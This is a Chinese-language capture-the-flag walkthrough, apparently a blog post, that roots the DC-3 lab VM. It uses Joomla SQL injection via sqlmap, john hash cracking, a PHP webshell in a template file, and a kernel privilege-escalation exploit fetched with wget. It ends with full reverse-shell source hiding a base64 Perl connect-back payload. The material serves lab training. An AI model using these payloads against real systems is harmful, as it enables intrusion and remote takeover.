DC-3渗透实战(详细过程)
目录
DC-3靶机
1.主机发现
2.端口扫描
3.网页信息探测
4.敏感目录扫描
5.漏洞查找和漏洞利用
漏洞查找
joomscan
searchsploit
漏洞利用
sqlmap
John
反弹shell
交互式shell
6.收集信息
7.主机渗透
系统漏洞查找
exp提权
DC-3靶机
DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip
安装按照我DC-1的文章
如果遇到 “IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“id...”的错误, 参照文章IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“id..._weixin_30673715的博客-CSDN博客
配置完成后 确保DC-3和kali处于同一网段下
1.主机发现
arp-scan -l
对比靶机MAC地址确定靶机IP为192.168.20.140
2.端口扫描
nmap -sV -p- 192.168.20.140
3.网页信息探测
使用火狐打开网页 192.168.20.140:80
发现有登录界面 先继续进行探测
用whatweb探测站点信息
whatweb -v 192.168.20.140
得出的信息如上 但是并未发现关键有用的信息
4.敏感目录扫描
使用nikto进行敏感目录扫描
nikto -host 192.168.20.140
发现如下敏感目录 逐一输入在浏览器中进行探测
成功找到后台登录界面
并且很明显网站是joomla的cms版本
5.漏洞查找和漏洞利用
漏洞查找
joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具
利用joomscan进行joomla信息探测
joomscan -u 192.168.20.140
得到joomla版本信息
既然得到了joomla版本信息 就可以直接查找该版本对应的漏洞 并加以利用进行渗透
searchsploit
利用searchsploit进行对应版本的漏洞探测
searchsploit Joomla 3.7.0
可以看到 该版本有SQL注入漏洞和XSS漏洞
因为我们要得到网站后台的登录账号和密码 而账号和密码是存储在数据库之中 所以要利用SQL注入漏洞进行攻击 从而拿到账号密码
查找漏洞对应路径
searchsploit -p 42033.txt
漏洞利用
sqlmap
将漏洞复制到桌面
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt Desktop/42033.txt
打开文件后 文件中具体描述了注入点和payload
同时还发现了对应的sqlmap命令
sqlmap是一款强大的SQL注入工具 使用其可以大大提高SQL注入的效率 并且kali中自带sqlmap
复制sqlmap的命令
在终端中运行sqlmap(注意url中localhost要替换成靶机的IP地址) 选择y或者n时 手动输入y并且回车
成功爆库
选择joomladb数据库继续进行注入 命令如下(dbs参数用来爆破数据库名 得出数据库名后 要将dbs参数删去)
运行
成功爆表
通过分析表名 猜测账号和密码存储在#__users表中
选择#__users表继续进行注入 命令如下(表名有特殊符号 加上引号)
运行 一直回车就好了
成功爆列
选择username和password两个字段进行查看账户和用户名 命令如下
运行
成功爆值
发现password中的数值并不是明文 而是被加密了 显然这是哈希密码 可以通过kali工具john进行爆破解密
John
在桌面创建一个文件 将hash密码粘贴进去并保存
使用john爆破 命令如下
john Desktop/DC-3-hash
因为我之前解密过该文件 所以需要加上参数show查看历史解密结果
密码为snoopy
使用得到的账号密码进行登录后台
成功进入后台
反弹shell
在Templates: Customise (Beez3)模块中找到了文件上传点
可以用一句话木马进行上传 也可用反弹shell
这里采用反弹shell(代码放在最后)
点击new file 创建一个名为web.php的文件
创建成功后 写入反弹shell代码 并修改其中接收的ip地址(kali地址)以及端口
点击save保存 就上传成功了
joomla框架下 模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为 http://192.168.20.140/templates/beez3/web.php
打开kali监听8888端口
nc -lvvp 8888
浏览器访问shell地址
成功反弹shell
交互式shell
利用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
whoami查看权限
并不是root权限 所以要进行提权
6.收集信息
拿到shell之后获得了一定权限 就要进行信息收集 查看是否有遗漏的信息
linux系统下要尤其注意 /etc/passwd 和/etc/crontab两个文件 前者用来存储用户名 后者用来存储定时任务 有时候都是解题的关键
查看/etc/passwd
发现有个dc3用户 本来想尝试hydra爆破 用ssh连接 后面发现并没有开放ssh服务的端口 于是果断放弃
查看etc/crontab
暂未发现可疑点
再寻找一下根下有无flag文件
find / -name flag* 发现有非常多结果 但都不是我们需要的
暂无可用信息 开始尝试提权
7.主机渗透
系统漏洞查找
经过尝试发现 这里没法用SUID和git进行提权 于是利用系统漏洞进行提权
cat /etc/issue (查看操作系统版本信息)
确定了版本信息之后 直接上searchsploit
找到4.4.x的漏洞 后面对应Privilege Escalation(提权)
查看漏洞路径
复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/39772.txt Desktop/39772.txt
打开文件
列出了漏洞产生的原因以及描述和漏洞利用的方法
最后一行附上了exp的链接
exp提权
网址打开下载链接后进行下载
点击ok 下载到了downloads中
移动到本地桌面 并解压到本地桌面
用python开启http服务
python -m http.server 8080 #python3开启服务python -m SimpleHTTPServer 8080 #python2开启服务器
浏览器访问
出现如上界面就是服务开启成功了
进入39772/文件夹 复制exploit.tar连接地址
回到连接靶机的终端 利用wget命令下载
下载之后解压文件
tar -xvf exploit.tar
进入exploit文件夹
根据39772.txt的方法执行两个文件
执行文件
./compile.sh
./doubleput
回车 whoami查看权限
成功获取root权限
进入/root目录下 查看最后的flag文件
成功通关!!!
反弹shell代码
<?php
function which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}
function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
DC-3渗透实战(详细过程)相关推荐
- DC-1靶场搭建及渗透实战详细过程(DC靶场系列)
目录 一. 环境搭建 1. 准备工具 渗透利器kali DC-1靶场机 2. 安装过程 二. 渗透过程 1. 信息收集 ①探测目标IP地址 ②探测目标IP开放端口 ③网页信息收集 2. 漏洞查找与利用 ...
- DC-3靶场搭建及渗透实战详细过程(DC靶场系列)
目录 一. 信息收集 1. 主机扫描 2. 端口扫描 3. 目录扫描 4. web页面信息探测 二. 漏洞找查 1. joomscan 2. searchsploit 三. 漏洞利用 1. SQL注入 ...
- DC-5靶场下载及渗透实战详细过程(DC靶场系列)
目录 一. 信息收集 1. 主机扫描 2. 端口扫描 3. 目录扫描 4. 页面信息探测 二. 渗透过程 1. 寻找包含文件的参数 2. Nginx日志文件包含 3. 反弹shell 4. Linux ...
- 网站渗透测试原理及详细过程
渗透测试实战 site:baidu.com 渗透测试思路 site:baidu.com 带你入门渗透测试的5个项目:https://www.jianshu.com/p/5b82e42ae346 渗透测 ...
- 【记录爬虫实战过程】入门学习·详细过程·爬取天气信息并通过pyecharts进行可视化展示1
文章目录 前言 正文 1.导入对应模块 2.确定爬取的网站 3.得到数据 4.数据处理 5.将所得数据写入CSV 完整代码 补充:数据可视化 前言 入门学习这个部分是跟着b站教学视频做的,记录了所有过 ...
- 【vulnhub】Lampiao渗透实战(脏牛提权)
总结 1.该靶机的WEB系统的建站CMS是drupal 7,时刻关注一些cms漏洞 2.在没有思路的时候,try yourself !往往有不同的收获 3.再练练脏牛提权... Lampiao靶机百度 ...
- 【网络安全】2022年第一次靶场渗透实战学习
一.介绍 渗透测试是通过模拟黑客或者骇客攻击,以评估计算机系统或者网络环境安全性的技术:主要的目的是进行安全性的评估,而不是摧毁或者破坏目标系统. 渗透测试所需要的基础技能必须有网络基础.编程基础.数 ...
- sql replace替换多个字符_牛客网数据库SQL实战详细剖析(4150)
文章来源:大数据肌肉猿 作者:无精疯 这是一个系列文章,总共61题,分6期,有答案以及解题思路,并附上解题的一个思考过程.具体题目可参考牛客网的SQL实战模块:https://www.nowcoder ...
- sql not exists用法_牛客网数据库SQL实战详细剖析(5160)(更新完结)
文章来源:大数据肌肉猿 作者:无精疯 这是一个系列文章,总共61题,分6期,有答案以及解题思路,并附上解题的一个思考过程. 具体题目可参考牛客网的SQL实战模块: https://www.nowcod ...
- Kali 安装 Nessus 详细过程
详细介绍在 Kali 中安装 Nessus 的详细过程步骤以及插件下载失败解决方法. 实验环境 安装过程 下载 Nessus 安装 Nessus 启动 Nessus 获取激活码 登陆 web 界面 N ...
最新文章
- cannot import name 'imresize' from 'scipy.misc'
- arraylist怎么在mysql中排序_对ArrayList中对象元素进行排序
- python做些什么项目内容_现在比较流行的python做什么项目最适合?
- 解决表格td宽度设置失效问题
- 【April Fools Day Contest 2014F】【愚人节脑洞 OEIS大法】000001 输出序列某一项
- 最新的windows xp sp3序列号 xp序列号
- 朱兰的质量观(转载)
- Ubuntu18更换软件源
- MATLAB----小波去噪
- 【 移动硬盘安装Ubuntu18.04】
- XXL之整合SpringBoot
- 中秋之际,我想给月亮做一个智能化改造
- 自定义文字云/词云图----基于echarts
- CANopen通讯基础
- 用C语言开发NES游戏(CC65)03、VRAM缓冲区
- php中控制段落的行距,CSS_CSS教程(7):网页段落行间距控制的实例,本文主要讲解如何用CSS控制网 - phpStudy...
- leetcode378. 有序矩阵中第 K 小的元素
- 云客Drupal源码分析之数组操作
- (二十五)struts2.x中的转换器
- 词向量:对word2vec的理解